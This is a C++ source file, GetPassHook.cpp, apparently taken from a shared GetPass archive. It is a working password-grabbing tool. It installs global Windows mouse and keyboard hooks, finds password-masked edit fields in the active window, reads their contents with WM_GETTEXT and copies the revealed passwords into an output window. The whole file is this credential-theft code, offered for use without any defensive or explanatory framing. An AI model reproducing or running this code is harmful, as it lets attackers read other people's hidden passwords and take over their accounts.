www.pudn.com > GetPass.rar > GetPassHook.cpp


// GetPassHook.cpp: implementation of the CGetPassHook class. 
// 
////////////////////////////////////////////////////////////////////// 
 
#include "stdafx.h" 
#include "GetPassHook.h" 
 
#ifdef _DEBUG 
#undef THIS_FILE 
static char THIS_FILE[]=__FILE__; 
#define new DEBUG_NEW 
#endif 
 
#pragma data_seg("ShareData") 
HHOOK hKeyBoardHook=NULL;		//keyboard hook 
HHOOK hMouseHook=NULL;			//mouse hook 
HINSTANCE glhInstance=NULL;		//globle instance 
HWND hOutPutWnd=NULL;			//Display Pass Wnd 
#pragma data_seg() 
 
BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam); 
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam); 
LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam); 
 
////////////////////////////////////////////////////////////////////// 
// Construction/Destruction 
////////////////////////////////////////////////////////////////////// 
 
CGetPassHook::CGetPassHook() 
{ 
} 
 
CGetPassHook::~CGetPassHook() 
{ 
	StopHook(); 
} 
 
BOOL CGetPassHook::StartHook(HWND hwnd) 
{			//install hoook 
	hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0); 
			//mouse hook 
	hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0); 
			//keyboard hook 
	if(hMouseHook&&hKeyBoardHook) 
	{ 
		hOutPutWnd=hwnd; 
		return TRUE; 
	} 
	return FALSE; 
} 
 
BOOL CGetPassHook::StopHook() 
{			//unstall hook 
	BOOL mHook=UnhookWindowsHookEx(hMouseHook); 
	BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook); 
	if(mHook&&kHook) 
		return TRUE; 
	return FALSE; 
} 
 
BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam) 
{		//enum the child window,find passedit 
	if(hwnd) 
	{ 
		LONG style=::GetWindowLong(hwnd,GWL_STYLE); 
		if(style&ES_PASSWORD) 
		{ 
			char szPass[255]; 
			::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); 
			::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); 
			return TRUE; 
		} 
	} 
 
	return TRUE; 
} 
 
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam) 
{		//mouse hook procedure 
	LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam; 
	if(nCode>=0) 
	{ 
		HWND hTargetHwnd=lpMouse->hwnd; 
		if(hTargetHwnd) 
		{ 
			LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); 
			if(style&ES_PASSWORD)		//is password edit? 
			{ 
				char szPass[255]; 
				::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass); 
						//get password 
				::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); 
						//output password 
			} 
		} 
	} 
	 
	return CallNextHookEx(hMouseHook,nCode,wParam,lParam); 
} 
 
LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam) 
{		//keyboard hook proc 
 
	if(nCode>=0) 
	{ 
		HWND hTargetHwnd=GetActiveWindow();		//get active window 
		if(hTargetHwnd) 
			EnumChildWindows(hTargetHwnd,EnumWndProc,0);	//enum child window 
/* 
		{ 
			char szText[255]; 
			GetWindowText(hTargetHwnd,szText,255); 
			AfxMessageBox(szText); 
		} 
*/ 
	} 
	 
	return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam); 
}